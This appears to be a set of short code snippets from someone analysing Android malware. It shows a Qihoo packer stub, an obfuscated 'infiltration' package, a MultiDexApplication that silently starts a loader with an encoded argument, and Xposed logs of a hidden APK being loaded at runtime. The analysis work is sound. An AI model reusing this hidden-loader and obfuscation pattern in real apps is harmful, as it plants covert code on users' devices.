fvrmatteo

[adotro2_cod=][adotro2_tipo=0][idusu=229581196][r_ms=][splash=1][vsp=0][c1_sp=FF000000][c2_sp=FF333333][ft=5][hcn=0][vcn=0][tcn=][icohome=1][vih=0][divisa=&#36puntoycoma][busc_campos=1,1,0,0][busc_orden=1,0,0][busc_def=TITULO ASC][prods_tit=][prods_masinfo=][prods_comprar=][prods_masinfo_mostrar=1][prods_linksexternos=0][prods_adaptar_ancho=0][pp_email=][pp_div=][cats=0][rt_tit=Rate our app][rt_txt=Do you like our app?][rt_ok=Yes, rate now][rt_ko=Maybe later][rt_1v=2][rt_int=2][ico_ofics_ord=2][ico_share_ord=3][ico_busc_ord=1][ico_exit_ord=0][ico_notif_ord=4][ic_po=0][io1=0][io3=0][ib1=0][ib3=0][is1=0][is3=0][ie1=0][ie3=0][in1=0][in3=0][nd_t=][ip1=0][ip3=0][ip5=0][our=1][appnext_cod=][appnext_cod_int_e=ace62326-e093-4e7d-91f2-73750fbe977b][appnext_cod_int_ia=67f897d3-f8e4-49ea-b3af-413a03e3401a][ap=1][mu=1][adotro_cod=][admob_int_cod=][fbi=][admob_int_v=4][admob_inte_v=4][admob_ch_v=20][admob_int_exit_v=0][admob_int_exit_r=0][admob_cod=][fbb=][appnextb_cod=][admob_pos=0][admob_sma=1][a_p_c=][n_p_c=][fbp=][a_p

fvrmatteo

http://srv1.androidcreator.com/srv/config.php?v=9&vname=4.3.0.25&idapp=273964&idusu=229581196&cod_g=m7vgquoy&gp=0&am=0&pa_env=1&pa=US&pn=in.com.bbc.mobile.news.ww&fus=010100000000&recup_todo=1&aid=e622d243445e7c98

fvrmatteo

import lief

if __name__ == "__main__":

	library  = lief.parse("libjiagu.so")

	print "[+] ELF Header"
	print library.header

	print "[+] Initialization and Termination Routines"

fvrmatteo

package com.qihoo.util;

import android.app.Application;
import android.content.Context;
import android.os.Build;
import android.util.Log;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

fvrmatteo

<application android:theme="@style/Theme.Background" android:label="@string/app_name" android:icon="@drawable/icon" android:name="com.qihoo.util.StubApp1868252644" android:allowBackup="false" android:largeHeap="true" android:supportsRtl="true" android:qihoo="activity">

fvrmatteo

package infiltration;

import android.content.Context;

public class outcry {
    public outcry(Context context, String str) {
        try {
            init(context, str);
        } catch (Exception e) {
            e.printStackTrace();

fvrmatteo

package infiltration;

public class OpJii28pAi06ZoYxrJlBF2gW {
    public static final String vvgQM33AjqPJZjX = vvgQM33AjqPJZjX(new char[]{'⨪', '', '轜', '羈'});

    private static String vvgQM33AjqPJZjX(char[] cArr) {
        int[] iArr = new int[]{
            -1494341050, -321722657, -1896771781, 1003847675, -325403554, -1813609550, -1092818872, -1070330870, -1575768214, 334986944, -921023518,
            -1150359686, -1410598707, 455405768, 387562126, -1576260892, 194540770, 783183183, 867211449, -653784908, -477948115, 744374468, -631604211,
            -1906986523, 1344563667, -1177096988, 1562966533, 1543717646, 485560396, 1192331103, -1261876285, 188808610, 244334934, -1643061573,

fvrmatteo

public class MultiDexApplication extends Application {
    protected void attachBaseContext(Context base) {
        super.attachBaseContext(base);
	outcry infiltration_outcry = new outcry(this, "NzZmBCp6IFcbCSQPb2NWa2ViBWNKekMGew==");
        MultiDex.install(this);
    }
}

fvrmatteo

11-19 15:35:43.870 I/Xposed  (18830): [+] Target application found: en.cold.jewel.th.lines
11-19 15:35:43.943 I/Xposed  (18830): [!] BaseDexClassLoader has been called: /data/data/en.cold.jewel.th.lines/files/e0349410-3444-41df-945d-660d3bf6f21c.apk
11-19 15:35:43.943 I/Xposed  (18830): [!] openDexFile has been called: /data/data/en.cold.jewel.th.lines/files/e0349410-3444-41df-945d-660d3bf6f21c.apk, /data/data/en.cold.jewel.th.lines/files/e0349410-3444-41df-945d-660d3bf6f21c.dex
11-19 15:35:44.334 I/Xposed  (18830): [!] ClassLoader.loadClass has been called: infiltration.Main$V19
11-19 15:35:44.334 I/Xposed  (18830): [i] Installing (classToHook) hook on: infiltration.Main$V19.install(ClassLoader c, List l, File f)
11-19 15:35:44.340 I/Xposed  (18830): [+] install (V19) hit!
11-19 15:35:44.341 I/Xposed  (18830): [!] openDexFile has been called: /data/data/en.cold.jewel.th.lines/files/e0349410-3444-41df-945d-660d3bf6f21c.apk, /data/data/en.cold.jewel.th.lines/files/e0349410-3444-41df-945d-660d3bf6f21c.dex
11-19